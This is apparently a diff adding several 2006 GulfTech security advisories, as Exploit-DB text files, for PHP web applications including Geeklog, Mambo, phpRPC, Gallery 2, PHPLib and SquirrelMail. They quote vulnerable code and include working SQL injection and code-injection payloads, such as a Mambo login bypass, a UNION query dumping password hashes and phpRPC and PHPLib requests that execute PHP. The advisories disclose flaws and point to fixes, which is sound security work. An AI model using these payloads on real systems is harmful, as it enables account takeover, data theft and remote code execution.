The above code is taken from adodb-pager.inc.php @ lines 72-77 and ultimately set's the $this->curr_page variable to unsanitized user supplied input. Later on this variable is used when drawing the links for the pagination, thus allowing for Cross Site Scripting attacks to be possible. There are also several unsafe PHP_SELF calls within the script that allow for similar Cross Site Scripting attacks. In addition to these issues there are also several input validation issues in the performance scripts such as adodb-perf.inc.php and perf-oci8.inc.php, but these will not be addressed as the author says:
|
||||
|
||||
"The adodb perf files assume that you can execute any sql in the system from the sql form we provide. True that there could be security issues in the perf scripts, but using the perf files already assume (and require) a high level of trust."
|
||||
|
||||
We may include details of these vulnerabilities in this advisory at a later date. However, a new version of ADOdb was just released to address the previously mentioned Cross Site Scripting issues.
|
||||
|
||||
|
||||
Solution:
|
||||
A new version of ADOdb was recently released which addresses the previously mentioned Cross Site Scripting issues. Users should upgrade their current vulnerable ADOdb libraries.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
83
exploits/php/webapps/43833.txt
Normal file
83
exploits/php/webapps/43833.txt
Normal file
|
@ -0,0 +1,83 @@
|
|||
Geeklog Multiple Vulnerabilities
|
||||
|
||||
Vendor: Geeklog
|
||||
Product: Geeklog
|
||||
Version: <= 1.4.0
|
||||
Website: http://www.geeklog.net/
|
||||
|
||||
BID: 16755
|
||||
CVE: CVE-2006-0823
|
||||
OSVDB: 23348 23349
|
||||
SECUNIA: 18920
|
||||
PACKETSTORM: 44070
|
||||
|
||||
Description:
|
||||
Geeklog is one of the most popular content management systems available today. Geeklog unfortunately is vulnerable to a number of different attacks such as SQL Injection, and arbitrary file inclusion. These attacks can be combined to ultimately execute code on the vulnerable web server in a very reliable manner. According to the developers these issues affect pretty much every version of Geeklog ever released, so users are strongly encouraged to upgrade to the latest version of Geeklog which is Geeklog 1.4.0sr1 and 1.3.11sr4
|
||||
|
||||
|
||||
SQL Injection:
|
||||
Geeklog is vulnerable to a number of SQL Injection attacks due to improperly handling user supplied GPC data.
|
||||
|
||||
$userid = $_COOKIE[$_CONF['cookie_name']];
|
||||
if (empty ($userid) || ($userid == 'deleted')) {
|
||||
unset ($userid);
|
||||
} else {
|
||||
if ($VERBOSE) {
|
||||
COM_errorLog('NOW trying to set permanent cookie',1);
|
||||
COM_errorLog('Got '.$userid.' from perm cookie in users.php',1);
|
||||
}
|
||||
if ($userid) {
|
||||
$user_logged_in = 1;
|
||||
// Create new session
|
||||
$userdata = SESS_getUserDataFromId($userid);
|
||||
$_USER = $userdata;
|
||||
if ($VERBOSE) {
|
||||
COM_errorLog('Got '.$_USER['username'].' for the username in user.php',1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
The above code is taken from users.php @ lines 896-913. This bit of code is vulnerable to SQL Injection because it passes the $userid variable, whose value comes from a cookie var, to the SESS_getUserDataFromId function located in lib-sessions.php @ lines 445-463. The $userid variable is never sanitized once inside the function and is eventually used in a query. While we have our attention focused on lib-sessions.php let's take a look at the function SESS_sessionCheck() which is called on nearly every page to check authentication.
|
||||
|
||||
$sessid = $_COOKIE[$_CONF['cookie_session']];
|
||||
if ($_SESS_VERBOSE) {
|
||||
COM_errorLog("got $sessid as the session id from lib-sessions.php",1);
|
||||
}
|
||||
|
||||
$userid = SESS_getUserIdFromSession($sessid, $_CONF['session_cookie_timeout'],
|
||||
$_SERVER['REMOTE_ADDR'], $_CONF['cookie_ip']);
|
||||
|
||||
if ($_SESS_VERBOSE) {
|
||||
COM_errorLog("Got $userid as User ID from the session ID",1);
|
||||
}
|
||||
|
||||
The above code is taken from lib-sessions.php @ lines 98-107 As you can see, the unsanitized variable $sessid is passed to the SESS_getUserIdFromSession() function where it will be used in a query. These SQL injection issues can be very dangerous, because not only is SQL Injection possible, but SQL Errors are outputted to error.log making code execution via file inclusion very easy, and reliable to exploit.
|
||||
|
||||
|
||||
Arbitrary File Access:
|
||||
There are a number of arbitrary file access vulnerabilities in Geeklog which can allow for an attacker to read arbitrary files, include arbitrary files, and ultimately execute code on the underlying web server. In lib-common.php @ lines 245 through 275 we see a bit of code that allows an attacker to specify an arbitrary local directory. If that directory exists (e.g. /home/attacker/) then an attacker would then be able to have certain files within that directory, for example "functions.php" included within Geeklog, and possibly execute arbitrary code. Also, within lib-common is an even easier to exploit issue with the way Geeklog loads languages.
|
||||
if( isset( $_COOKIE[$_CONF['cookie_language']]) && empty( $_USER['language'] ))
|
||||
{
|
||||
if( is_file( $_CONF['path_language'] . $_COOKIE[$_CONF['cookie_language']] . '.php' ))
|
||||
{
|
||||
$_USER['language'] = $_COOKIE[$_CONF['cookie_language']];
|
||||
$_CONF['language'] = $_COOKIE[$_CONF['cookie_language']];
|
||||
}
|
||||
}
|
||||
else if( !empty( $_USER['language'] ))
|
||||
{
|
||||
if( is_file( $_CONF['path_language'] . $_USER['language'] . '.php' ))
|
||||
{
|
||||
$_CONF['language'] = $_USER['language'];
|
||||
}
|
||||
}
|
||||
|
||||
The above code is taken from lib-common.php @ lines 298-312 and shows us that we can load any file we want on the local server. If an attacker uses the previously mentioned SQL Injection issues to create an error that includes php code, then they can have that code easily included and executed by specifying the relative path to the error.log within the cookie's language parameter.
|
||||
|
||||
|
||||
Solution:
|
||||
Special thanks to Dirk Haun for a very prompt reply and resolution to these very serious issues. New versions of Geeklog have been released, and users should upgrade as soon as possible.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
78
exploits/php/webapps/43834.txt
Normal file
78
exploits/php/webapps/43834.txt
Normal file
|
@ -0,0 +1,78 @@
|
|||
PEAR LiveUser Arbitrary File Access
|
||||
|
||||
Vendor: Markus Wolff
|
||||
Product: PEAR LiveUser
|
||||
Version: <= 0.16.8
|
||||
Website: http://pear.php.net/package/LiveUser/
|
||||
|
||||
BID: 16761
|
||||
CVE: CVE-2006-0869
|
||||
OSVDB: 23495 23496
|
||||
PACKETSTORM: 44140
|
||||
|
||||
Description:
|
||||
LiveUser is a user authentication and permission management framework that is part of php's PEAR Library. LiveUser has many different features, including the ability to remember a user via cookies. Unfortunately there is an issue with how extracted cookie data is handled by the LiveUser library within the remember feature which makes it possible for an attacker to gain access to, and even delete potentially sensitive files on the webserver. An updated version of the LiveUser framework has been released, and users are advised to upgrade to LiveUser 0.16.9
|
||||
|
||||
|
||||
Arbitrary File Access:
|
||||
There is an arbitrary file access vulnerability in PEAR LiveUser that allows an attacker to access arbitrary files on the server
|
||||
$cookieData = $_COOKIE[$this->_options['cookie']['name']];
|
||||
if (strlen($cookieData) < 65
|
||||
// kill all old style remember me cookies
|
||||
|| (strpos($cookieData, ':') && strpos($cookieData, ':') < 64)
|
||||
) {
|
||||
// Delete cookie if it's not valid, keeping it messes up the
|
||||
// authentication process
|
||||
$this->deleteRememberCookie();
|
||||
$this->_stack->push(LIVEUSER_ERROR_COOKIE, 'error', array(),
|
||||
'Wrong data in cookie store in LiveUser::readRememberMeCookie()');
|
||||
return false;
|
||||
}
|
||||
|
||||
$store_id = substr($cookieData, 0, 32);
|
||||
$passwd_id = substr($cookieData, 32, 32);
|
||||
$handle = substr($cookieData, 64);
|
||||
|
||||
$dir = $this->_options['cookie']['savedir'];
|
||||
|
||||
$fh = @fopen($dir . '/' . $store_id . '.lu', 'rb');
|
||||
if (!$fh) {
|
||||
$this->deleteRememberCookie();
|
||||
$this->_stack->push(LIVEUSER_ERROR_CONFIG, 'exception', array(),
|
||||
'Cannot open file for reading');
|
||||
return false;
|
||||
}
|
||||
|
||||
$fields = fread($fh, 4096);
|
||||
fclose($fh);
|
||||
if (!$fields) {
|
||||
$this->deleteRememberCookie();
|
||||
$this->_stack->push(LIVEUSER_ERROR_CONFIG, 'exception', array(),
|
||||
'Cannot read file');
|
||||
return false;
|
||||
}
|
||||
|
||||
The above code is taken from LiveUser.php @ lines 1269-1303 and clearly shows the $store_id variable being assigned unsanitized data, which is passed to an fopen called shortly thereafter. The good news is that as far as I can tell this issues can not be abused in a real world scenario much further than enumerating file existance on the local filesystem.
|
||||
|
||||
|
||||
Arbitrary File Deletion:
|
||||
Similar to the previously mentioned issue, this vulnerability may allow a malicious user to delete arbitrary files on the local server by supplying malicious cookie data.
|
||||
$cookieData = $_COOKIE[$this->_options['cookie']['name']];
|
||||
if (strlen($cookieData) < 65) {
|
||||
$this->_stack->push(LIVEUSER_ERROR_COOKIE, 'error', array(),
|
||||
'Wrong data in cookie store in LiveUser::deleteRememberCookie()');
|
||||
return false;
|
||||
}
|
||||
|
||||
$store_id = substr($cookieData, 0, 32);
|
||||
@unlink($this->_options['cookie']['savedir'] . '/'.$store_id.'.lu');
|
||||
|
||||
The above code is also taken from LiveUser.php and resides @ lines 1343-1351. Here we see user supplied data being used in an unlink call which could allow an attacker to delete arbitrary files on the local server by traversing out of the cwd and terminating the fopen call with a null byte.
|
||||
|
||||
|
||||
Solution:
|
||||
An updated version of the LiveUser framework has been released to address these issues. The current release is LiveUser 0.16.9 and users should update their LiveUser libraries as soon as possible. Special thanks to Lukas Smith for a very prompt resolution!
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
152
exploits/php/webapps/43835.txt
Normal file
152
exploits/php/webapps/43835.txt
Normal file
|
@ -0,0 +1,152 @@
|
|||
Mambo Multiple Vulnerabilities
|
||||
|
||||
Vendor: Miro International Pty Ltd
|
||||
Product: Mambo
|
||||
Version: <= 4.5.3h
|
||||
Website: http://www.mamboserver.com
|
||||
|
||||
BID: 16775
|
||||
CVE: CVE-2006-0871 CVE-2006-1794
|
||||
OSVDB: 23402 23503 23505
|
||||
SECUNIA: 18935
|
||||
PACKETSTORM: 44191
|
||||
|
||||
Description:
|
||||
Mambo is a popular Open Source Content Management System released under the GNU General Public license (GNU GPL). There are a number of security issues in Mambo which allows for SQL Injection, Authentication Bypass, and possible remote code execution via local file inclusion. There has been an updated version of Mambo released and all users are advised to upgrade as soon as possible. Also, please note that these vulnerabilities are NOT related to any worms currently taking advantage of vulnerable Mambo installations.
|
||||
|
||||
|
||||
SQL Injection:
|
||||
There are several SQL Injection issues in Mambo Open Source. The easiest to exploit of the issues allows an attacker to login as any user. The only info the attacker has to have is the target username (if no user is specified, the first user from the users table will be selected instead).
|
||||
|
||||
function login( $username=null,$passwd=null ) {
|
||||
global $acl;
|
||||
|
||||
$usercookie = mosGetParam( $_COOKIE, 'usercookie', '' );
|
||||
$sessioncookie = mosGetParam( $_COOKIE, 'sessioncookie', '' );
|
||||
if (!$username || !$passwd) {
|
||||
$username = trim( mosGetParam( $_POST, 'username', '' ) );
|
||||
$passwd = trim( mosGetParam( $_POST, 'passwd', '' ) );
|
||||
$passwd = md5( $passwd );
|
||||
$bypost = 1;
|
||||
}
|
||||
$remember = trim( mosGetParam( $_POST, 'remember', '' ) );
|
||||
|
||||
if (!$username || !$passwd) {
|
||||
echo "\n";
|
||||
exit();
|
||||
} else {
|
||||
$this->_db->setQuery( "SELECT id, gid, block, usertype"
|
||||
. "\nFROM #__users"
|
||||
. "\nWHERE username='$username' AND password='$passwd'"
|
||||
);
|
||||
$row = null;
|
||||
if ($this->_db->loadObject( $row )) {
|
||||
if ($row->block == 1) {
|
||||
echo "\n";
|
||||
exit();
|
||||
}
|
||||
// fudge the group stuff
|
||||
$grp = $acl->getAroGroup( $row->id );
|
||||
$row->gid = 1;
|
||||
|
||||
if ($acl->is_group_child_of( $grp->name, 'Registered', 'ARO' ) ||
|
||||
$acl->is_group_child_of( $grp->name, 'Public Backend', 'ARO' )) {
|
||||
// fudge Authors, Editors, Publishers and Super Administrators
|
||||
into the Special Group
|
||||
$row->gid = 2;
|
||||
}
|
||||
|
||||
The above code is from mosMainFrame class (/includes/mambo.php) and is the source of the previously mentioned problem. The function mosGetParam() for the most part just imports GPC variables, and has no real effective filtering or the like, so several variables shown above contain unsanitized data. These variables include $username, which is shortly thereafter passed to the query, thus allowing a user to bypass a login by supplying a username of "user'/*" and any password. This is a very serious issue, but should prove easy to fix by either adding better filtering in the mosGetParam() or sanitizing the data within the login() function, or both. If a malicious user is able to use this vulnerability to gain admin privileges then it is pretty much game over as an attacker could then upload, and install a malicious module and execute any php code of their choice on the server.
|
||||
|
||||
Another issue with Mambo Open Source is data passed to the mosMenuCheck() function is usually unsanitized in regards to the $task parameter.
|
||||
function mosMenuCheck( $Itemid, $menu_option, $task, $gid ) {
|
||||
global $database;
|
||||
$dblink="index.php?option=$menu_option";
|
||||
if ($Itemid!="" && $Itemid!=0) {
|
||||
$database->setQuery( "SELECT access FROM #__menu WHERE id='$Itemid'" );
|
||||
} else {
|
||||
if ($task!="") {
|
||||
$dblink.="&task=$task";
|
||||
}
|
||||
$database->setQuery( "SELECT access FROM #__menu WHERE link like '$dblink%'" );
|
||||
}
|
||||
$results = $database->loadObjectList();
|
||||
$access = 0;
|
||||
//echo "
|
||||
"; print_r($results); echo "
|
||||
";
|
||||
foreach ($results as $result) {
|
||||
$access = max( $access, $result->access );
|
||||
}
|
||||
return ($access <= $gid);
|
||||
}
|
||||
|
||||
As seen in the above code the unsanitized $task variable will be used in the query as long as $Itemid is empty.
|
||||
|
||||
http://mambo/index2.php?option=com_content&task=-99'%20UNION%20SELECT%201%20FROM%20
|
||||
|
||||
mos_users%20WHERE%20username='admin'%20AND%20MID(password,1,1)='2'/*&id=24&Itemid=0
|
||||
|
||||
If the first character from the password hash belonging to the user "admin" is two as specified above then Mambo displays the error "You need to login". This is an easy issue to exploit, and unfortunately mosMenuCheck() is called in the same unsafe manner from other files as well. Last but not least there is an SQL Injection issue in the "com_content" component, particularly the showCategory() function.
|
||||
|
||||
// get the total number of published items in the category
|
||||
// filter functionality
|
||||
$filter = trim( mosGetParam( $_POST, 'filter', '' ) );
|
||||
$filter = strtolower( $filter );
|
||||
$and = '';
|
||||
if ( $filter ) {
|
||||
if ( $params->get( 'filter' ) ) {
|
||||
switch ( $params->get( 'filter_type' ) ) {
|
||||
case 'title':
|
||||
$and = "\n AND LOWER( a.title ) LIKE '%". $filter ."%'";
|
||||
break;
|
||||
case 'author':
|
||||
$and = "\n AND ( ( LOWER( u.name ) LIKE '%". $filter ."%' ) OR
|
||||
( LOWER( a.created_by_alias ) LIKE '%". $filter ."%' ) )";
|
||||
break;
|
||||
case 'hits':
|
||||
$and = "\n AND a.hits LIKE '%". $filter ."%'";
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
As you can see from the above code, the $filter variable is passed to the query completely unsanitized, and allows for easy to exploit SQL Injection. This is very dangerous.
|
||||
|
||||
filter=' UNION SELECT 1,2,3,4,CONCAT(username,CHAR(58),password),6,7,8,9,1 FROM mos_users
|
||||
WHERE 1/*&order=rdate&limit=10&id=0§ionid=&task=category&option=com_content
|
||||
|
||||
The above data sent in a post request to the vulnerable script will effectively dump every single username and password hash in the database to the attacker. It should be noted that the above attacks are only effective in the default php enviornment of magic_quotes_gpc off
|
||||
|
||||
|
||||
Arbitrary File Inclusion:
|
||||
It is possible to include arbitrary local files, and ultimately execute code within the vulnerable Mambo Open Source installation. The problem lies in the _setTemplate() function not properly sanitizing GPC data.
|
||||
|
||||
// TemplateChooser Start
|
||||
$mos_user_template = mosGetParam( $_COOKIE, 'mos_user_template', '' );
|
||||
$mos_change_template = mosGetParam( $_REQUEST, 'mos_change_template', $mos_user_template );
|
||||
if ($mos_change_template) {
|
||||
// check that template exists in case it was deleted
|
||||
if (file_exists( "$mosConfig_absolute_path/templates/$mos_change_template/index.php" )) {
|
||||
$lifetime = 60*10;
|
||||
$cur_template = $mos_change_template;
|
||||
setcookie( "mos_user_template", "$mos_change_template", time()+$lifetime);
|
||||
} else {
|
||||
setcookie( "mos_user_template", "", time()-3600 );
|
||||
}
|
||||
}
|
||||
|
||||
As seen in the above code, there are several unsanitized variables introduced into the function, and $mos_change_template in particular is ultimately set as the current template and used through out the application. There are never any effective traversal checks, so we can include arbitrary locations on the local machine, and in some cases execute arbitrary code as long as the file is named index.php (i.e. /tmp/index.php) The reason for the restrictions are because of the strip_tags call in mosGetParam, but some older versions of php do not use a binary safe strip_tags (CAN-2004-0595) which allows for null characters. So, in those cases the file inclusion is much more dangerous and easy to exploit.
|
||||
|
||||
|
||||
Solution:
|
||||
There has been a new version of the Mambo software released to fix the previously mentioned vulnerabilities.
|
||||
|
||||
http://mamboxchange.com/frs/?group_id=5
|
||||
|
||||
The above link contains all of the relative patches as well as the secured full releases. Users are encouraged to upgrade their Mambo installations as soon as possible.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
65
exploits/php/webapps/43836.txt
Normal file
65
exploits/php/webapps/43836.txt
Normal file
|
@ -0,0 +1,65 @@
|
|||
phpRPC Remote Code Execution
|
||||
|
||||
Vendor: Robert Hoffman
|
||||
Product: phpRPC
|
||||
Version: <= 0.7
|
||||
Website: http://sourceforge.net/projects/phprpc/
|
||||
|
||||
BID: 16833
|
||||
CVE: CVE-2006-1032
|
||||
OSVDB: 23514
|
||||
SECUNIA: 19028
|
||||
PACKETSTORM: 44267
|
||||
|
||||
Description:
|
||||
phpRPC is meant to be an easy to use xmlrpc library. phpRPC is greatly simplified with the use of database/rpc-protocol abstraction. It should run on any php server with most data bases. Unfortunately, there is a easily exploitable remote php code execution vulnerability in the phpRPC library that allows an attacker to execute arbitrary code on the affected webserver. This vulnerability, like previously discovered vulnerabilities in various implementations of the XMLRPC protocol is possible because of unsanitized data being passed to an eval call. This of course could ultimately lead to a compromise of the under lying web server, and disclosure of sensitive data.
|
||||
|
||||
|
||||
Remote Code Execution:
|
||||
There is a very serious, easy to exploit remote code execution issue in the phpRPC library. This issue takes place in the file rpc_decoder.php within the decode() function. This function is basically responsible for decoding the incoming XML data into php readable data that can be used by the application.
|
||||
|
||||
/**
|
||||
* Tells the decoder to process the xml data
|
||||
*
|
||||
* Used internaly but can also be used to send xml data to the decoder
|
||||
* @param string $data Transforms $data into a php readable array
|
||||
* @return array Returns an array containing the extracted data
|
||||
*/
|
||||
function decode($data) {
|
||||
|
||||
$this->parser = xml_parser_create($this->encoding);
|
||||
|
||||
xml_set_object($this->parser, &$this);
|
||||
xml_set_element_handler($this->parser, "tag_open", "tag_close");
|
||||
xml_set_character_data_handler($this->parser, "cdata");
|
||||
xml_parser_set_option($this->parser, XML_OPTION_SKIP_WHITE, 1);
|
||||
xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 1);
|
||||
xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, $this->encoding);
|
||||
xml_parse($this->parser, $data);
|
||||
xml_parser_free($this->parser);
|
||||
|
||||
if ($this->debug == 1) { $this->dump(); }
|
||||
eval($this->code);
|
||||
return $params;
|
||||
}
|
||||
|
||||
The variable $this->code in our case is constructed by the cdata() function, and is never sanitized when placed within a base64 tag. I guess this is because it is assumed that the data will be base64 encrypted and thus harmless, but the base64_decode call isn't really executed until AFTER the vulnerable eval call parses the data within "$this->code".
|
||||
<?xml version="1.0"?>
|
||||
<methodCall>
|
||||
<methodName>test.method
|
||||
<params>
|
||||
<param>
|
||||
<value><base64>'));phpinfo();exit;
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
|
||||
The above xml request sent to the phpRPC server would successfully execute the phpinfo() function, but this could just as easily have been some malicious payload. The phpRPC library is not as popular as other php XMLRPC implementations, but it is used fairly often and in popular open source projects such as runcms and exoops.
|
||||
|
||||
|
||||
Solution:
|
||||
Several attempts to contact the developers were made, but according to the current exoops webmaster the phpRPC author stopped maintaining the project around 2004. Also, runcms were contacted as far back as July/August 2005 about this issue, and did respond confirming they would look in to it. However, as of last time I checked runcms still contained the vulnerable phpRPC libraries. Since there is no patch to be released, and since the project is seemingly un maintained all users are encourage to quit using the phpRPC library until a patch becomes publicly available.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
97
exploits/php/webapps/43837.txt
Normal file
97
exploits/php/webapps/43837.txt
Normal file
|
@ -0,0 +1,97 @@
|
|||
Gallery 2 Multiple Vulnerabilities
|
||||
|
||||
Vendor: Bharat Mediratta
|
||||
Product: Gallery 2
|
||||
Version: <= 2.0.2
|
||||
Website: http://gallery.menalto.com/
|
||||
|
||||
BID: 16940
|
||||
CVE: CVE-2006-1127 CVE-2006-1128
|
||||
OSVDB: 23596 23597
|
||||
SECUNIA: 19104
|
||||
PACKETSTORM: 44358
|
||||
|
||||
Description:
|
||||
Gallery2, the open source web based photo album organizer is one of the most popular php web applications available today. Gallery2 suffers from a number of vulnerabilities including IP Spoofing via X_FORWARDED_FOR that may allow a malicious user to hide their identity, script injection via the faulty X_FORWARDED_FOR implementation, and also arbitrary file access which could ultimately lead to the deletion of arbitrary files on the webserver. A new version of Gallery 2 has been released and users should upgrade their Gallery 2 installations.
|
||||
|
||||
|
||||
IP Spoofing:
|
||||
There is an issue with Gallery2 that allows for users to perform actions anonymously by spoofing their identity with a bogus X_FORWARDED_FOR HTTP Header.
|
||||
|
||||
function getRemoteHostAddress() {
|
||||
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
|
||||
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
|
||||
} else if (isset($_SERVER['HTTP_CLIENT_IP'])) {
|
||||
$ip = $_SERVER['HTTP_CLIENT_IP'];
|
||||
} else if (isset($_SERVER['REMOTE_ADDR'])) {
|
||||
$ip = $_SERVER['REMOTE_ADDR'];
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
return $ip;
|
||||
}
|
||||
|
||||
The above code is responsible for the previously mentioned problem because it allows the possibly user supplied header X_FORWARDED_FOR to take precedence over REMOTE_ADDR. Unfortunately this same issues can be levereged to carry out more sinister attacks.
|
||||
|
||||
|
||||
Script Injection:
|
||||
Because the IP Address returned by Gallery2 is thought to be safe there are a number of other issues that can be exploited by sending a bogus X_FORWARDED_FOR header. For example, when adding comments in an album the user's IP is logged and displayed along with said comment. This could be used to execute arbitrary client side code such as JavaScript in the context of a user's (admin, maybe?) browser.
|
||||
|
||||
|
||||
Arbitrary File Access:
|
||||
Gallery2 is vulnerable to an arbitrary file access issue within it's session handling class. This vulnerability allows for an attacker to possibly access certain file information, and delete arbitrary files on the web server. (such as the config file or access control files like .htaccess)
|
||||
|
||||
function _isSessionValid() {
|
||||
global $gallery;
|
||||
$platform = $gallery->getPlatform();
|
||||
|
||||
if (!empty($this->_sessionId)) {
|
||||
/* Check if the session has expired */
|
||||
$sessionFile = $gallery->getConfig('data.gallery.sessions') . $this->_sessionId;
|
||||
if ($platform->file_exists($sessionFile)) {
|
||||
list ($ret, $lifetime) =
|
||||
GalleryCoreApi::getPluginParameter('module', 'core', 'session.lifetime');
|
||||
if ($ret->isError()) {
|
||||
return array($ret->wrap(__FILE__, __LINE__), null);
|
||||
}
|
||||
list ($ret, $inactivityTimeout) =
|
||||
GalleryCoreApi::getPluginParameter('module', 'core',
|
||||
'session.inactivityTimeout');
|
||||
if ($ret->isError()) {
|
||||
return array($ret->wrap(__FILE__, __LINE__), null);
|
||||
}
|
||||
$lifetimeCutoff = time() - $lifetime;
|
||||
$inactiveCutoff = time() - $inactivityTimeout;
|
||||
$statData = $platform->stat($sessionFile);
|
||||
if ($statData['mtime'] < $inactiveCutoff || $statData['ctime'] < $lifetimeCutoff) {
|
||||
/* The session has timed out, remove it */
|
||||
$platform->unlink($sessionFile);
|
||||
} else {
|
||||
return array(GalleryStatus::success(), true);
|
||||
}
|
||||
} else {
|
||||
return array(GalleryStatus::success(), true);
|
||||
}
|
||||
}
|
||||
return array(GalleryStatus::success(), false);
|
||||
}
|
||||
|
||||
The above code is the function from the Gallery2 session class that checks to see whether or not a session is valid. Unfortunately this code, like most of the code in the session class relies on the value of $this->_sessionId to be valid. However, at the very beginning of the session class a check is made for a session cookie, and if that cookie is present then it is blindly loaded into _sessionId with absolutely no sanitation.
|
||||
* Sanitize the session id (which may have come from user input) to
|
||||
* avoid possibly writing outside the session storage dir.
|
||||
*/
|
||||
$this->_sessionId = preg_replace('/[^a-zA-Z0-9]/', '', $this->_sessionId);
|
||||
|
||||
The above code DOES sanitize the session id, but not until after the session id is already sent to the _isSessionValid() function. So, it is no problem for an attacker to specify a path outside of the web directory, and because there is nothing following the user supplied data within the constructed $sessionFile path, there is no need to specify a null byte. So, this works with magic quotes on as well as with magic quotes off. This could lead to other attacks such as gaining access to a restricted web directory by deleting a .htaccess file using the previously mentioned vulnerability.
|
||||
|
||||
|
||||
Solution:
|
||||
Thanks to Bharat Mediratta for a very prompt resolution to these issues. A new version of Gallery 2 has been released today.
|
||||
|
||||
http://gallery.menalto.com/gallery_2.0.3_released
|
||||
|
||||
Users should upgrade their Gallery 2 installations as soon as possible to the latest available version.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
77
exploits/php/webapps/43838.txt
Normal file
77
exploits/php/webapps/43838.txt
Normal file
|
@ -0,0 +1,77 @@
|
|||
PHPLib SQL Injection
|
||||
|
||||
Vendor: PHPLib
|
||||
Product: PHPLib
|
||||
Version: <= 7.4
|
||||
Website: http://phplib.sourceforge.net/
|
||||
|
||||
BID: 16801
|
||||
CVE: CVE-2006-0887 CVE-2006-2826
|
||||
OSVDB: 23466
|
||||
SECUNIA: 16902
|
||||
|
||||
Description:
|
||||
The PHP Base Library aka PHPLib is a toolkit for PHP developers supporting them in the development of Web applications. The phpLib codebase can be found in a number of applications available today. Unfortunately some of the session emulation code is vulnerable to SQL Injection issues that in a worst case scenario can lead to remote code execution by using UNION and selecting arbitrary php code into an eval call. A new version og PHPLib has been released and users should upgrade their PHPLib libraries as soon as possible.
|
||||
|
||||
|
||||
Remote Code Execution:
|
||||
There are some serious security issues in phplib's session handling that may allow an attacker to perform a range of attacks such as SQL Injection, and/or Remote Code Execution.
|
||||
## Propagate the session id according to mode and lifetime.
|
||||
## Will create a new id if necessary. To take over abandoned sessions,
|
||||
## one may provide the new session id as a parameter (not recommended).
|
||||
|
||||
function get_id($id = "") {
|
||||
global $HTTP_COOKIE_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_SERVER_VARS;
|
||||
$this->newid=true;
|
||||
|
||||
$this->name = $this->cookiename==""?$this->classname:$this->cookiename;
|
||||
|
||||
if ( "" == $id ) {
|
||||
$this->newid=false;
|
||||
switch ($this->mode) {
|
||||
case "get":
|
||||
$id = isset($HTTP_GET_VARS[$this->name]) ?
|
||||
$HTTP_GET_VARS[$this->name] :
|
||||
( isset($HTTP_POST_VARS[$this->name]) ?
|
||||
$HTTP_POST_VARS[$this->name] :
|
||||
"") ;
|
||||
break;
|
||||
case "cookie":
|
||||
$id = isset($HTTP_COOKIE_VARS[$this->name]) ?
|
||||
$HTTP_COOKIE_VARS[$this->name] : "";
|
||||
break;
|
||||
default:
|
||||
die("This has not been coded yet.");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
### do not accept user provided ids for creation
|
||||
if($id != "" && $this->block_alien_sid) { # somehow an id was provided by the user
|
||||
if($this->that->ac_get_value($id, $this->name) == "") {
|
||||
# no - the id doesn't exist in the database: Ignore it!
|
||||
$id = "";
|
||||
}
|
||||
}
|
||||
|
||||
The above code is from sessions.inc @ lines 85-121. The variable $id gets it's values from either GET or COOKIE and is never made safe before being passed to the function ac_get_value() which uses the variable in a query, thus allowing for SQL Injection. However, it is possible to manipulate the query in a way that php code is returned and passed to a vulnerable eval call.
|
||||
GET /phplib/pages/index.php3 HTTP/1.1
|
||||
Host: example.net
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Connection: keep-alive
|
||||
Cookie: Example_Session=' UNION SELECT 'cGhwaW5mbygpOw=='/*
|
||||
If-Modified-Since: Sat, 18 Feb 2006 18:24:34 GMT
|
||||
For example, the above request made to the index.php3 script that is shipped with phplib will successfully execute the phpinfo call.
|
||||
|
||||
|
||||
Solution:
|
||||
PHPLib 7.4a has been released to address these issues.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
74
exploits/php/webapps/43839.txt
Normal file
74
exploits/php/webapps/43839.txt
Normal file
|
@ -0,0 +1,74 @@
|
|||
SquirrelMail Arbitrary Variable Overwrite
|
||||
|
||||
Vendor: SquirrelMail
|
||||
Product: SquirrelMail
|
||||
Version: <= 1.4.7
|
||||
Website: http://www.squirrelmail.org
|
||||
|
||||
BID: 19486
|
||||
CVE: CVE-2006-4019
|
||||
OSVDB: 27917
|
||||
SECUNIA: 21354
|
||||
|
||||
Description:
|
||||
SquirrelMail is a standards-based webmail package written in php. It includes built-in pure PHP support for the IMAP and SMTP protocols. Unfortunately there is a fairly serious variable handling issue in one of the core SquirrelMail scripts that can allow an attacker to take control of variables used within the script, and influence functions and actions within the script. This is due to the unsafe handling of "expired sessions" when composing a message. An updated version of SquirrelMail can be downloaded from their official website. Users are advised to update their SquirrelMail installations as soon as possible.
|
||||
|
||||
|
||||
Arbitrary Variable Overwriting:
|
||||
SquirrelMail contains a vulnerability that may allow an authenticated user to overwrite important variables used by SquirrelMail, and ultimately read and or write arbitrary files to the system. Due to the nature of the vulnerability though other attacks may be possible. Again the attacker must first be authenticated, but in a real world scenario it usually is not that hard for an attacker to gain access to an email account that has a weak password via a dictionary attack or other methods. To see how this attack is possible first let's look at auth.php lines 50-67
|
||||
// First we store some information in the new session to prevent
|
||||
// information-loss.
